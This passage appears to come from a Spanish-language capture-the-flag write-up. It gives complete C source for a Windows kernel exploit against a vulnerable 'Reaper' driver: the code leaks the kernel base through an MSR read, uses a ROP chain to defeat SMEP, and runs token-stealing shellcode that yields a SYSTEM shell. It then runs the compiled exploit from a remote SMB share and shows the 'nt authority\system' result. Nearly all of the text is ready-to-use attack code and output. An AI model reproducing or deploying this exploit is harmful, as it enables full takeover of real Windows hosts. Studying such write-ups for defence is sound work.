#define IOCTL_FREE 0x80002007
#define IOCTL_ALLOC 0x80002003
#define IOCTL_READMSR 0x8000200f

#define REGISTER_LSTAR 0xC0000082
#define OFFSET_KiSystemCall64 0x4363c0

#define QWORD ULONGLONG

typedef struct ReaperData {
    DWORD Magic;
    DWORD ThreadId;
    DWORD Priority;
    DWORD Empty;
    QWORD ExecAddress;
    DWORD SrcRegister;
    QWORD DstAddress;
} ReaperData;

BYTE tokenStealing[64] = {
    0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rax, [gs:0x188]              ; $rax = _KTHREAD
    0x48, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00,             // mov rax, [rax + 0xb8]            ; $rax = _EPROCESS
    0x50, 0x5b,                                           // mov rbx, rax                     ; $rbx = _EPROCESS
                                                          // .loop:
    0x48, 0x8b, 0x9b, 0x48, 0x04, 0x00, 0x00,             //     mov rbx, [rbx + 0x448]       ; $rbx = ActiveProcessLinks
    0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00,             //     sub rbx, 0x448               ; $rbx = _EPROCESS
    0x48, 0x83, 0xbb, 0x40, 0x04, 0x00, 0x00, 0x04,       //     cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
    0x75, 0xe8,                                           //     jnz .loop                    ; if zf == 0 -> loop
    0x48, 0x8b, 0x8b, 0xb8, 0x04, 0x00, 0x00,             // mov rcx, [rbx + 0x4b8]           ; $rcx = SYSTEM token
    0x80, 0xe1, 0xf0,                                     // and cl, 0xf0                     ; clear _EX_FAST_REF struct
    0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00,             // mov [rax + 0x4b8], rcx           ; store SYSTEM token in _EPROCESS  
    0x48, 0x8d, 0x62, 0xe8,                               // lea rsp, [rdx - 0x18]            ; clear stack
    0xc3                                                  // ret                              ; return
};

VOID ExecuteAddress(HANDLE hDevice, QWORD addr) {
    ReaperData userData;
    
    userData.Magic = 0x6a55cc9e;
    userData.ThreadId = GetCurrentThreadId();
    userData.Priority = 0;
    userData.ExecAddress = addr;

    DeviceIoControl(hDevice, IOCTL_ALLOC, (LPVOID) &userData, sizeof(struct ReaperData), NULL, 0, NULL, NULL);
    DeviceIoControl(hDevice, IOCTL_EXEC, (LPVOID) &userData, sizeof(struct ReaperData), NULL, 0, NULL, NULL);
    DeviceIoControl(hDevice, IOCTL_FREE, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
}

QWORD ReadMSR(HANDLE hDevice, DWORD reg) {
    QWORD output;
    ReaperData userData;

    userData.Magic = 0x6a55cc9e;
    userData.ThreadId = GetCurrentThreadId();
    userData.Priority = 0;
    userData.SrcRegister = reg;
    userData.DstAddress = (QWORD) &output;

    DeviceIoControl(hDevice, IOCTL_ALLOC, (LPVOID) &userData, sizeof(struct ReaperData), NULL, 0, NULL, NULL);
    DeviceIoControl(hDevice, IOCTL_READMSR, (LPVOID) &userData, sizeof(struct ReaperData), NULL, 0, NULL, NULL);
    DeviceIoControl(hDevice, IOCTL_FREE, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);

    return output;
}

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\Reaper", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to get handle: 0x%x\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    QWORD KiSystemCall64 = ReadMSR(hDevice, REGISTER_LSTAR);
    QWORD kernelBase = KiSystemCall64 - OFFSET_KiSystemCall64;

    LPVOID shellcode = VirtualAlloc(NULL, sizeof(tokenStealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlCopyMemory(shellcode, tokenStealing, sizeof(tokenStealing));

    LPVOID pivot = VirtualAlloc((LPVOID) (0x48000000 - 0x1000), 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    VirtualLock(pivot, 0x10000);

    RtlFillMemory((LPVOID) 0x48000000, 0x28, 'A');
    QWORD *rop = (QWORD *) ((QWORD) 0x48000000 + 0x28);

    *rop++ = kernelBase + 0x2084f6; // pop rcx; ret;
    *rop++ = (QWORD) shellcode;     // Token Stealing
    *rop++ = kernelBase + 0x31e2c4; // MiGetPteAddress
    *rop++ = kernelBase + 0x2084f6; // pop rcx; ret;
    *rop++ = 0x63;                  // U/S bit off (2)
    *rop++ = kernelBase + 0x44b611; // mov [rax], cl; ret;
    *rop++ = kernelBase + 0x38b490; // wbinvd; ret;
    *rop++ = (QWORD) shellcode;     // Token Stealing

    ExecuteAddress(hDevice, kernelBase + 0x3739b0); // mov esp, 0x48000000; add esp, 0x28; ret;
    system("cmd.exe");

    CloseHandle(hDevice);
}

Al estar en un proceso de baja integridad descargar el exploit compilado se vuelve complicado, lo que podemos hacer es cargarlo desde un recurso smb, al ejecutarlo nos convertimos en nt authority\system con el máximo nivel de integridad system

C:\Windows\system32> \\10.8.0.100\user\exploit.exe  
Microsoft Windows [Version 10.0.20348.2402]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32>